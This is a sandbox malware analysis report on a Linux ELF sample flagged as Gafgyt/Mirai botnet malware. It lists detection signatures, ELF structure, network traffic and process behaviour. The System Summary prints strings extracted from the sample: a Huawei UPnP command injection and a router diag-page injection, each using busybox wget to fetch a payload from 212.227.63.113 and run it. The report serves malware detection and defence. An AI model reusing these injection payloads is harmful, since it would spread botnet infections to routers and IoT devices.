Edit tour

Linux Analysis Report
db0fa4b8db0333367e9bda3ab68b8042.arc.elf

Overview

General Information

Sample name:db0fa4b8db0333367e9bda3ab68b8042.arc.elf
Analysis ID:1581166
MD5:2fb46462ac2982adaabaf7e8b66d2155
SHA1:55996f2d9224be888370f768e1c5dd4349faf3cc
SHA256:6588d8cf49f39a35f7b575e056948ab37b6a5715ae0ad45cefbc9f6aa8140b56
Tags:elfuser-abuse_ch
Infos:

Detection

Gafgyt, Mirai
Score:88
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Gafgyt
Yara detected Mirai
Executes the "systemctl" command used for controlling the systemd system and service manager
Reads system version information
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Yara signature match

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:41.0.0 Charoite
Analysis ID:1581166
Start date and time:2024-12-27 06:44:30 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 10m 34s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:db0fa4b8db0333367e9bda3ab68b8042.arc.elf
Detection:MAL
Classification:mal88.troj.linELF@0/0@2/0
Cookbook Comments:
  • Analysis time extended to 480s due to sleep detection in submitted sample
  • Max analysis timeout: 600s exceeded, the analysis took too long
  • VT rate limit hit for: http://212.227.63.113/bin
Command:/tmp/db0fa4b8db0333367e9bda3ab68b8042.arc.elf
PID:5720
Exit Code:255
Exit Code Info:
Killed:False
Standard Output:

Standard Error:
  • system is lnxubuntu20
  • systemd New Fork (PID: 5763, Parent: 1)
  • snap-failure (PID: 5763, Parent: 1, MD5: 69136a7d575731ce62349f2e4d3e5c36) Arguments: /usr/lib/snapd/snap-failure snapd
    • systemctl (PID: 5777, Parent: 5763, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl stop snapd.socket
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
Bashlite, GafgytBashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
db0fa4b8db0333367e9bda3ab68b8042.arc.elfJoeSecurity_GafgytYara detected GafgytJoe Security
    db0fa4b8db0333367e9bda3ab68b8042.arc.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
      db0fa4b8db0333367e9bda3ab68b8042.arc.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
        db0fa4b8db0333367e9bda3ab68b8042.arc.elfLinux_Trojan_Gafgyt_ea92cca8unknownunknown
        • 0x138d4:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
        db0fa4b8db0333367e9bda3ab68b8042.arc.elfMAL_ELF_LNX_Mirai_Oct10_1Detects ELF Mirai variantFlorian Roth
        • 0x13d97:$x2: /bin/busybox chmod 777 * /tmp/
        • 0x13ac0:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
        • 0x13628:$s3: POST /cdn-cgi/
        No Suricata rule has matched

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Source: db0fa4b8db0333367e9bda3ab68b8042.arc.elfAvira: detected
        Source: db0fa4b8db0333367e9bda3ab68b8042.arc.elfReversingLabs: Detection: 65%
        Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
        Source: db0fa4b8db0333367e9bda3ab68b8042.arc.elfString found in binary or memory: http://212.227.63.113/bin
        Source: db0fa4b8db0333367e9bda3ab68b8042.arc.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
        Source: db0fa4b8db0333367e9bda3ab68b8042.arc.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

        System Summary

        barindex
        Source: db0fa4b8db0333367e9bda3ab68b8042.arc.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
        Source: db0fa4b8db0333367e9bda3ab68b8042.arc.elf, type: SAMPLEMatched rule: Detects ELF Mirai variant Author: Florian Roth
        Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://212.227.63.113/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
        Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://212.227.63.113/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0 POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
        Source: ELF static info symbol of initial sample.symtab present: no
        Source: db0fa4b8db0333367e9bda3ab68b8042.arc.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
        Source: db0fa4b8db0333367e9bda3ab68b8042.arc.elf, type: SAMPLEMatched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
        Source: classification engineClassification label: mal88.troj.linELF@0/0@2/0
        Source: /usr/lib/snapd/snap-failure (PID: 5777)Systemctl executable: /usr/bin/systemctl -> systemctl stop snapd.socketJump to behavior
        Source: /usr/lib/snapd/snap-failure (PID: 5763)Reads version info: /proc/versionJump to behavior

        Stealing of Sensitive Information

        barindex
        Source: Yara matchFile source: db0fa4b8db0333367e9bda3ab68b8042.arc.elf, type: SAMPLE
        Source: Yara matchFile source: db0fa4b8db0333367e9bda3ab68b8042.arc.elf, type: SAMPLE

        Remote Access Functionality

        barindex
        Source: Yara matchFile source: db0fa4b8db0333367e9bda3ab68b8042.arc.elf, type: SAMPLE
        Source: Yara matchFile source: db0fa4b8db0333367e9bda3ab68b8042.arc.elf, type: SAMPLE
        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management Instrumentation1
        Systemd Service
        1
        Systemd Service
        Direct Volume AccessOS Credential Dumping1
        System Information Discovery
        Remote ServicesData from Local System1
        Non-Application Layer Protocol
        Exfiltration Over Other Network MediumAbuse Accessibility Features
        CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
        Application Layer Protocol
        Exfiltration Over BluetoothNetwork Denial of Service
        No configs have been found
        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Number of created Files
        • Is malicious
        • Internet
        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1581166 Sample: db0fa4b8db0333367e9bda3ab68... Startdate: 27/12/2024 Architecture: LINUX Score: 88 13 daisy.ubuntu.com 2->13 15 Malicious sample detected (through community Yara rule) 2->15 17 Antivirus / Scanner detection for submitted sample 2->17 19 Multi AV Scanner detection for submitted file 2->19 21 2 other signatures 2->21 7 systemd snap-failure 2->7         started        signatures3 process4 process5 9 snap-failure systemctl 7->9         started        11 snap-failure 7->11         started       

        This section contains all screenshots as thumbnails, including those not shown in the slideshow.


        windows-stand
        SourceDetectionScannerLabelLink
        db0fa4b8db0333367e9bda3ab68b8042.arc.elf66%ReversingLabsLinux.Trojan.Mirai
        db0fa4b8db0333367e9bda3ab68b8042.arc.elf100%AviraEXP/ELF.Gafgyt.T
        No Antivirus matches
        No Antivirus matches
        No Antivirus matches

        Download Network PCAP: filteredfull

        NameIPActiveMaliciousAntivirus DetectionReputation
        daisy.ubuntu.com
        162.213.35.24
        truefalse
          high
          NameSourceMaliciousAntivirus DetectionReputation
          http://212.227.63.113/bindb0fa4b8db0333367e9bda3ab68b8042.arc.elffalse
            unknown
            http://schemas.xmlsoap.org/soap/encoding/db0fa4b8db0333367e9bda3ab68b8042.arc.elffalse
              high
              http://schemas.xmlsoap.org/soap/envelope/db0fa4b8db0333367e9bda3ab68b8042.arc.elffalse
                high
                No contacted IP infos
                No context
                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                daisy.ubuntu.comRpcSecurity.x86.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.24
                .i.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.24
                RpcSecurity.arm7.elfGet hashmaliciousMiraiBrowse
                • 162.213.35.25
                RpcSecurity.mpsl.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.25
                RpcSecurity.ppc.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.25
                RpcSecurity.arm.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.24
                RpcSecurity.spc.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.24
                RpcSecurity.mips.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.25
                RpcSecurity.m68k.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.24
                RpcSecurity.x86_64.elfGet hashmaliciousUnknownBrowse
                • 162.213.35.24
                No context
                No context
                No context
                No created / dropped files found
                File type:ELF 32-bit LSB executable, Synopsys ARCompact ARC700 cores, version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, for GNU/Linux 4.8.0, stripped
                Entropy (8bit):6.326911764992712
                TrID:
                • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                File name:db0fa4b8db0333367e9bda3ab68b8042.arc.elf
                File size:91'588 bytes
                MD5:2fb46462ac2982adaabaf7e8b66d2155
                SHA1:55996f2d9224be888370f768e1c5dd4349faf3cc
                SHA256:6588d8cf49f39a35f7b575e056948ab37b6a5715ae0ad45cefbc9f6aa8140b56
                SHA512:f2df56833cc65b24baaa63ff393f3114131b19494bd5d81018b465efd127847e5c24bfe2d367593cbf8d06fe18d9df8fb57d879fbb2584b2c00a0d48a85dae71
                SSDEEP:1536:CKSrJ5iaBUrHaC/dRqLgaRW9yVlqN/W17BZv+16wcY:XSrJ5s6C/fiY9ymN/WzZm16w
                TLSH:EE9308B81995B37CE9F150B8F84320DA28620A1C379CD1E379C3547AFFB4B487669E49
                File Content Preview:.ELF..............].........4...Tb......4. ...(.........4...4...4.......................4...4...4....................................L...L....... ......D_..D...D................ ......T_..T...T.......................H...H...H... ... ...........Q.td.......

                ELF header

                Class:ELF32
                Data:2's complement, little endian
                Version:1 (current)
                Machine:<unknown>
                Version Number:0x1
                Type:EXEC (Executable file)
                OS/ABI:UNIX - System V
                ABI Version:0
                Entry Point Address:0x10dc0
                Flags:0x403
                ELF Header Size:52
                Program Header Offset:52
                Program Header Size:32
                Number of Program Headers:8
                Section Header Offset:90708
                Section Header Size:40
                Number of Section Headers:22
                Header String Table Index:21
                NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                NULL0x00x00x00x00x0000
                .interpPROGBITS0x101340x1340x140x00x2A001
                .note.ABI-tagNOTE0x101480x1480x200x00x2A004
                .hashHASH0x101680x1680x1880x40x2A404
                .dynsymDYNSYM0x102f00x2f00x3b00x100x2A514
                .dynstrSTRTAB0x106a00x6a00x1bb0x00x2A001
                .rela.pltRELA0x1085c0x85c0x2940xc0x42AI4164
                .initPROGBITS0x10af00xaf00x220x00x6AX001
                .pltPROGBITS0x10b140xb140x2ac0x00x6AX004
                .textPROGBITS0x10dc00xdc00x127a40x00x6AX004
                .finiPROGBITS0x235640x135640x160x00x6AX001
                .rodataPROGBITS0x2357c0x1357c0x16900x00x2A004
                .eh_framePROGBITS0x24c0c0x14c0c0x40x00x2A004
                .ctorsPROGBITS0x27f440x15f440x80x00x3WA004
                .dtorsPROGBITS0x27f4c0x15f4c0x80x00x3WA004
                .dynamicDYNAMIC0x27f540x15f540xa80x80x3WA504
                .got.pltPROGBITS0x27ffc0x15ffc0xe80x00x3WA004
                .dataPROGBITS0x280e40x160e40x540x00x3WA004
                .bssNOBITS0x281380x161380x3d80x00x3WA004
                .commentPROGBITS0x00x161380x430x10x30MS001
                .ARC.attributes<unknown>0x00x1617b0x300x00x0001
                .shstrtabSTRTAB0x00x161ab0xa90x00x0001
                TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                PHDR0x340x100340x100340x1000x1002.53770x5R E0x4
                INTERP0x1340x101340x101340x140x143.68420x4R 0x1/lib/ld-uClibc.so.0.interp
                LOAD0x00x100000x100000x14c100x14c106.54000x5R E0x2000.interp .note.ABI-tag .hash .dynsym .dynstr .rela.plt .init .plt .text .fini .rodata .eh_frame
                LOAD0x15f440x27f440x27f440x1f40x5cc2.72580x6RW 0x2000.ctors .dtors .dynamic .got.plt .data .bss
                DYNAMIC0x15f540x27f540x27f540xa80xa82.07290x6RW 0x4.dynamic
                NOTE0x1480x101480x101480x200x201.49880x4R 0x4.note.ABI-tag
                GNU_STACK0x00x00x00x00x00.00000x6RW 0x10
                GNU_RELRO0x15f440x27f440x27f440xbc0xbc2.25100x4R 0x1.ctors .dtors .dynamic
                TypeMetaValueTag
                DT_NEEDEDsharedliblibc.so.00x1
                DT_INITvalue0x10af40xc
                DT_FINIvalue0x235680xd
                DT_HASHvalue0x101680x4
                DT_STRTABvalue0x106a00x5
                DT_SYMTABvalue0x102f00x6
                DT_STRSZbytes4430xa
                DT_SYMENTbytes160xb
                DT_INITvalue0x10af40xc
                DT_FINIvalue0x235680xd
                DT_DEBUGvalue0x00x15
                DT_PLTGOTvalue0x10b140x3
                DT_PLTRELSZbytes6600x2
                DT_PLTRELpltrelDT_RELA0x14
                DT_JMPRELvalue0x1085c0x17
                DT_NULLvalue0x00x0
                NameVersion Info NameVersion Info File NameSection NameValueSizeSymbol TypeSymbol BindSymbol VisibilityNdx
                .dynsym0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                __bss_start.dynsym0x281380NOTYPE<unknown>DEFAULT18
                __errno_location.dynsym0x10d240FUNC<unknown>DEFAULTSHN_UNDEF
                __uClibc_main.dynsym0x10cb80FUNC<unknown>DEFAULTSHN_UNDEF
                _edata.dynsym0x281380NOTYPE<unknown>DEFAULT17
                _end.dynsym0x285100NOTYPE<unknown>DEFAULT18
                accept.dynsym0x10bec0FUNC<unknown>DEFAULTSHN_UNDEF
                atoi.dynsym0x10d3c0FUNC<unknown>DEFAULTSHN_UNDEF
                bind.dynsym0x10c1c0FUNC<unknown>DEFAULTSHN_UNDEF
                calloc.dynsym0x10bf80FUNC<unknown>DEFAULTSHN_UNDEF
                clock.dynsym0x10d600FUNC<unknown>DEFAULTSHN_UNDEF
                close.dynsym0x10d900FUNC<unknown>DEFAULTSHN_UNDEF
                closedir.dynsym0x10d780FUNC<unknown>DEFAULTSHN_UNDEF
                connect.dynsym0x10b440FUNC<unknown>DEFAULTSHN_UNDEF
                exit.dynsym0x10d300FUNC<unknown>DEFAULTSHN_UNDEF
                fcntl.dynsym0x10d840FUNC<unknown>DEFAULTSHN_UNDEF
                fork.dynsym0x10cac0FUNC<unknown>DEFAULTSHN_UNDEF
                free.dynsym0x10d9c0FUNC<unknown>DEFAULTSHN_UNDEF
                getpid.dynsym0x10b680FUNC<unknown>DEFAULTSHN_UNDEF
                getppid.dynsym0x10ce80FUNC<unknown>DEFAULTSHN_UNDEF
                getsockname.dynsym0x10db40FUNC<unknown>DEFAULTSHN_UNDEF
                getsockopt.dynsym0x10d0c0FUNC<unknown>DEFAULTSHN_UNDEF
                htonl.dynsym0x10c700FUNC<unknown>DEFAULTSHN_UNDEF
                htons.dynsym0x10d180FUNC<unknown>DEFAULTSHN_UNDEF
                inet_addr.dynsym0x10c280FUNC<unknown>DEFAULTSHN_UNDEF
                ioctl.dynsym0x10b2c0FUNC<unknown>DEFAULTSHN_UNDEF
                kill.dynsym0x10c100FUNC<unknown>DEFAULTSHN_UNDEF
                listen.dynsym0x10ca00FUNC<unknown>DEFAULTSHN_UNDEF
                malloc.dynsym0x10b8c0FUNC<unknown>DEFAULTSHN_UNDEF
                memmove.dynsym0x10b5c0FUNC<unknown>DEFAULTSHN_UNDEF
                memset.dynsym0x10cd00FUNC<unknown>DEFAULTSHN_UNDEF
                ntohl.dynsym0x10c340FUNC<unknown>DEFAULTSHN_UNDEF
                ntohs.dynsym0x10cdc0FUNC<unknown>DEFAULTSHN_UNDEF
                open.dynsym0x10d540FUNC<unknown>DEFAULTSHN_UNDEF
                opendir.dynsym0x10d000FUNC<unknown>DEFAULTSHN_UNDEF
                prctl.dynsym0x10b740FUNC<unknown>DEFAULTSHN_UNDEF
                rand.dynsym0x10c4c0FUNC<unknown>DEFAULTSHN_UNDEF
                read.dynsym0x10c640FUNC<unknown>DEFAULTSHN_UNDEF
                readdir.dynsym0x10bc80FUNC<unknown>DEFAULTSHN_UNDEF
                readlink.dynsym0x10b800FUNC<unknown>DEFAULTSHN_UNDEF
                realloc.dynsym0x10c880FUNC<unknown>DEFAULTSHN_UNDEF
                recv.dynsym0x10b380FUNC<unknown>DEFAULTSHN_UNDEF
                recvfrom.dynsym0x10ba40FUNC<unknown>DEFAULTSHN_UNDEF
                select.dynsym0x10bbc0FUNC<unknown>DEFAULTSHN_UNDEF
                send.dynsym0x10be00FUNC<unknown>DEFAULTSHN_UNDEF
                sendto.dynsym0x10c7c0FUNC<unknown>DEFAULTSHN_UNDEF
                setsid.dynsym0x10d6c0FUNC<unknown>DEFAULTSHN_UNDEF
                setsockopt.dynsym0x10c400FUNC<unknown>DEFAULTSHN_UNDEF
                sigaddset.dynsym0x10bd40FUNC<unknown>DEFAULTSHN_UNDEF
                sigemptyset.dynsym0x10b500FUNC<unknown>DEFAULTSHN_UNDEF
                signal.dynsym0x10c580FUNC<unknown>DEFAULTSHN_UNDEF
                sigprocmask.dynsym0x10da80FUNC<unknown>DEFAULTSHN_UNDEF
                sleep.dynsym0x10b980FUNC<unknown>DEFAULTSHN_UNDEF
                socket.dynsym0x10bb00FUNC<unknown>DEFAULTSHN_UNDEF
                strdup.dynsym0x10cc40FUNC<unknown>DEFAULTSHN_UNDEF
                strlen.dynsym0x10d480FUNC<unknown>DEFAULTSHN_UNDEF
                strtok.dynsym0x10c940FUNC<unknown>DEFAULTSHN_UNDEF
                time.dynsym0x10cf40FUNC<unknown>DEFAULTSHN_UNDEF
                write.dynsym0x10c040FUNC<unknown>DEFAULTSHN_UNDEF

                Download Network PCAP: filteredfull

                TimestampSource PortDest PortSource IPDest IP
                Dec 27, 2024 06:48:53.142365932 CET3480053192.168.2.138.8.8.8
                Dec 27, 2024 06:48:53.262124062 CET53348008.8.8.8192.168.2.13
                Dec 27, 2024 06:48:53.262221098 CET3480053192.168.2.138.8.8.8
                Dec 27, 2024 06:48:53.262262106 CET3480053192.168.2.138.8.8.8
                Dec 27, 2024 06:48:53.262305975 CET3480053192.168.2.138.8.8.8
                Dec 27, 2024 06:48:53.381787062 CET53348008.8.8.8192.168.2.13
                Dec 27, 2024 06:48:53.381856918 CET53348008.8.8.8192.168.2.13
                Dec 27, 2024 06:48:54.347127914 CET53348008.8.8.8192.168.2.13
                Dec 27, 2024 06:48:54.347237110 CET3480053192.168.2.138.8.8.8
                Dec 27, 2024 06:48:54.579071999 CET53348008.8.8.8192.168.2.13
                Dec 27, 2024 06:48:54.579163074 CET3480053192.168.2.138.8.8.8
                Dec 27, 2024 06:48:56.440721035 CET53348008.8.8.8192.168.2.13
                Dec 27, 2024 06:48:56.441176891 CET3480053192.168.2.138.8.8.8
                Dec 27, 2024 06:48:56.561244965 CET53348008.8.8.8192.168.2.13
                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                Dec 27, 2024 06:48:53.262262106 CET192.168.2.138.8.8.80x2e4bStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                Dec 27, 2024 06:48:53.262305975 CET192.168.2.138.8.8.80xf3d8Standard query (0)daisy.ubuntu.com28IN (0x0001)false
                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                Dec 27, 2024 06:48:54.579071999 CET8.8.8.8192.168.2.130x2e4bNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
                Dec 27, 2024 06:48:54.579071999 CET8.8.8.8192.168.2.130x2e4bNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

                System Behavior

                Start time (UTC):05:46:47
                Start date (UTC):27/12/2024
                Path:/usr/lib/systemd/systemd
                Arguments:-
                File size:1620224 bytes
                MD5 hash:9b2bec7092a40488108543f9334aab75

                Start time (UTC):05:46:47
                Start date (UTC):27/12/2024
                Path:/usr/lib/snapd/snap-failure
                Arguments:/usr/lib/snapd/snap-failure snapd
                File size:4764904 bytes
                MD5 hash:69136a7d575731ce62349f2e4d3e5c36

                Start time (UTC):05:46:47
                Start date (UTC):27/12/2024
                Path:/usr/lib/snapd/snap-failure
                Arguments:-
                File size:4764904 bytes
                MD5 hash:69136a7d575731ce62349f2e4d3e5c36

                Start time (UTC):05:46:47
                Start date (UTC):27/12/2024
                Path:/usr/bin/systemctl
                Arguments:systemctl stop snapd.socket
                File size:996584 bytes
                MD5 hash:4deddfb6741481f68aeac522cc26ff4b

                Start time (UTC):05:46:47
                Start date (UTC):27/12/2024
                Path:/usr/lib/snapd/snap-failure
                Arguments:-
                File size:4764904 bytes
                MD5 hash:69136a7d575731ce62349f2e4d3e5c36